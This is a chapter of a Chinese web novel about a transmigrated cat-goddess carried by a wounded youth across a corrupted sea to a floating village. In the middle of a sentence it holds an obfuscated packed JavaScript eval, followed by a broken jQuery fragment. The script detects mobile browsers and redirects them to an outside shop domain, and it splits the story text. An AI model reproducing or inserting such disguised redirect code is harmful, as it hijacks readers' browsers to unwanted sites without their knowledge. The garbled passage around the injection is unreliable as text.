文趣网 > 其他小说 > 猫猫神祂不在乎 > 2. 被白衣少年捡走的猫
    少年的木筏划得很慢。

    倒也不是他不想快。

    主要是因为这艘木筏本身就不是用来航行的。

    它由七根破的不行的浮木和一块捡来的破甲板绑扎而成,绑绳是旧渔网搓的,也不是太结实,有两处接头已经松了。

    每次浪涌打过来,整艘筏子就会发出令人牙酸的嘎吱声,像是在抱怨为什么自己都烂成这样了还得干活。

    姜瑶睡醒以后趴在他怀里慵懒地甩着尾巴,小脑袋从麻布衫的领口探出,观察着这个陌生的世界。

    她一早就发现这里已经不是原来的世界了,她在以前的世界有丰富的潜水经验,对于大海已经非常了解了。

    在她的记忆力里,大海应该蓝得发亮,阳光能一直照到百米深的海床上。

    可姜瑶眼前的这片海,只能让她想起实验室里被污染的培养皿。

    暗绿色,浑浊,偶尔飘过一团团丝絮状的悬浮物,不知道是海藻还是别的什么。

    连阳光都没有,灰蒙蒙的,让人心情都跟着压抑了起来。

    海面上偶尔能看到船的残骸。

    一艘倾覆的渔船,桅杆断成三截,船壳上爬满了发光的绿色霉菌;一块写着“净水符石·清”的木牌,字体已经被海水泡得模糊,孤零零地漂着;一只小孩的布鞋,鞋底朝上,上面有干涸的暗红色痕迹。

    她不知道那只布鞋的主人是否还活着。

    少年的船桨划过水面,激起的水花溅到她脸上。

    她下意识地舔了一下嘴边的水滴,然后差点呕出来。

    那水的味道非常苦,带着一种类似金属氧化物的涩味,还有一股极淡的、像是腐烂海藻的腥气。

    她感觉到那滴水中含有微量的祟气,浓度不高,不足以让人立刻生病,但如果每天喝、每天接触、每天被这种水泡着,人的身体会发生什么,她不敢想。

    少年注意到她在舔嘴,低头看了她一眼。

    “这水别喝,”他说,声音沙哑但语气很认真,“没净化的,喝了会生病。”

    姜瑶抬头看他,两只毛绒绒的耳朵抖了抖。

    他以为她只是一只猫,听不懂人话。

    但他还是解释了。

    他大概是在对自己说话。

    这个人可能很久没有跟人类正常交流过了,养成了自言自语的习惯。

    姜瑶又想起他刚才说的那句话:你也没有地方去吗?

    他说的是“也”。

    他在问猫,也在问自己。

    木筏继续向前不知道走了多久。

    海面上的残骸越来越密,碎木板、断裂的渔网、一个半沉的铁桶,铁桶上贴着一张黄色的符纸,符纸上画着扭曲的红色符文。

    她的目光落在那张符纸上。

    符纸上的符文在微微发光,光线很淡,肉眼几乎看不到,但她能感知到。

    这是是一种近似于能量的波动,从符纸中向外扩散,范围大概一米左右。

    一米之内,海水中的祟气浓度明显低于周围。

    镇祟符。

    这个名字自动浮现在她脑海中。

    她不知道原理,但她知道这东西能暂时驱逐低级祟气。

    保护范围有限,持续时间有限,但在海上,在没有任何防护手段的时候,这一米的距离可能就是生与死的距离。

    是普通人唯一能活下来的希望。

    那少年显然也看到了那张符纸。

    他停下船桨,小心翼翼地把木筏靠近铁桶,伸手去揭。

    他的右臂在碰到符纸时,符纸的光芒忽然亮了一瞬,像是碰到了什么需要重点防御的东西。

    少年的动作顿了一下,然后继续把符纸揭了下来。

    他低头看着那张破旧的镇祟符,检查了一下边角有没有破损,然后折好,塞进怀里。

    “还能用,”他对姜瑶说,或者说对自己说,“晚上贴墙上。快入冬了,祟气会越来越浓。”

    姜瑶看着他做这一切。

    他揭符纸的手法很熟练,塞进怀里之前还在符纸背面轻轻吹了一下,把海盐结晶吹掉,看来以前经常做这样的事。

    她忽然很想问他:你的右臂碰到符纸时,疼不疼?

    符纸发光的那一刻,她清晰地感知到了。

    他右臂内的祟气浓度在那一瞬间急剧波动,像是被符纸的力量刺激到了。

    那一定很疼,但少年的表情始终没有任何变化,像是习惯了。

    又划了一会儿,远处出现了一个黑影。

    起初姜瑶以为是另一艘沉船残骸。

    然后她看到那个黑影在动,它的动作明显是带着目的性的。

    它朝木筏的方向游过来了。

    少年也看到了。

    他把船桨从水里抽出来,横在身前。

    因为没有别的东西可以拿,只有这个可以当作武器。

    黑影越来越近,姜瑶终于看清楚了。

    那是一条鱼。

    如果“鱼”这个词还能用来形容它的话。

    它的身体比木筏还长,外形类似于她之前所在的世界的翻车鱼,但两侧的鳍变成了三对,不对称的三对,左边两对右边一对,鳍的末端不是薄膜,是类似爬行动物的爪子,看着十分诡异。

    它的鳞片大半脱落,露出下面发着暗绿色荧光的肌肉组织。

    最让她头皮发麻的是它的眼睛并没有长在两段,而是长在一根从额头伸出的肉柄顶端,两只眼睛挤在一起,正在朝不同的方向转动。

    一只眼睛看到了木筏。

    另一只眼睛还在搜索别的方向。

    然后那只看到木筏的眼睛瞳孔收缩了一下,肉柄缓缓转向,另一只眼睛也被拽了过来。

    说实话,这种一只眼睛放哨,一只眼睛站岗的样子,着实看着不太聪明。

    姜瑶探出一只爪子,挠了挠耳朵上的绒毛。

    怪鱼两只眼睛也同时聚焦在木筏上,聚焦在少年怀里的那团黑色上。

    少年握紧了船桨。

    他的身体微微前倾,右臂在发抖。

    破布里渗出一丝幽蓝的荧光。他什么都没说,但他同时做好了迎战和赴死的准备。

    怪鱼突然停住了。

    它那根肉柄上的两只眼睛死死锁定了少年怀里那团黑色的、毛茸茸的小东西。

    那小东西悄咪咪地伸爪,像是在给它打招呼,挥了挥猫爪。

    它的瞳孔急剧收缩,先是缩成针尖大,然后放大到几乎占满整个眼球。

    它的身体开始颤抖,从头到尾,从残破的鳞片到发光的肌肉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813872|210979||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,像是在经历某种强烈的、本能的情绪冲突。

    然后它竟然往后退了。

    它没有脖子,所以是整个身体向后平移,一边退一边发出低沉的咕噜声。

    那声音从它喉咙深处滚出来,经过畸变的鳃裂时被切割成断断续续的音节,像是谁在水下念某种古老的悼词。

    然后它嗖一下消失了。

    速度比来时快了不知道多少倍,只在海面上留下一道扩散的波纹。

    “……?”

    少年仍旧保持着举桨的姿势,好一会儿才慢慢放下。

    他低头看着怀里的猫。猫也在看他。

    “这种畸变鱼很凶的,”他若有所思地说,有些困惑,“上次有条小的咬掉了老李两根手指,这条起码是老李那条的五倍大,怎么跑了呢?”

    他顿了顿。

    “还是说……它看到的不是我?”

    他没有继续往下想,换了个姿势把猫抱稳,继续划桨。

    他用左臂环着猫的身子,右手握桨,即使这样会让缠在右臂上的破布条被海水溅得更湿,即使他能感觉到祟气在海水刺激下变得更加活跃,即使灰色斑块传来的刺痛正在从手肘向肩膀蔓延。

    他还是没有把猫放下来。

    姜瑶有些无语,虽然一直被抱着当咸鱼是挺舒服。

    但还是有亿点怀疑这个少年是资深猫奴了。

    姜瑶蹲在他臂弯里,从麻布衫领口露出两只墨绿色的眼睛,安静地注视着那条畸变鱼消失的方向。

    她在心里默默记下了一笔。

    第一,她确实能影响低级祟化生物,不需要主动发力,光是存在就够了。

    这跟她穿越后遭遇海鸟时的推测一致,应该是深渊之主的某种被动气息。

    第二,这种影响是威慑。

    是某种比它们高无数个等级的存在,让它们的本能选择了臣服。

    第三,她还不知道这个能力的上限在哪里。如果遇到更大、更强、祟化程度更高的怪物,她还能不能靠“存在感”让它退避?

    算了还是最好不要遇到那样的怪物把。

    猫猫神祂只想摆烂啊。

    一个“村落”出现在视野里时,天色已经暗了一个度。

    从铅灰变成了深灰,海面从暗绿变成了墨绿。

    空气中的祟气浓度在上升,姜瑶能感觉到,某种无形的压迫感正在缓缓逼近,像是有一只看不见的手在挤压她的感知。

    她不太舒服,那个少年应该更不舒服。

    这个村落并非姜瑶想象里在陆地上的那种村落。

    而是数十艘大大小小的船只用木板、铁链和旧缆绳连环锁接而成的浮台群。

    最中心是一艘废弃的旧世界渔船,船身已经锈得看不出原本的颜色,但吨位够大,能扛住风暴,被改造成了聚落的核心建筑。

    显然平时居住的都是村子里地位比较高的人。

    外围是十几艘大大小小的坊艚渔船。

    单桅的、双桅的、带帆的、靠桨的,大多数已经不能出海了,船底或多或少都有渗漏,靠从核心船接过来的旧水泵日夜抽水才没沉。

    再往外是几艘被淘汰的舢板和浮桶拼成的临时平台,那是贫民区。

    这个少年的住所,就在最外围的角落。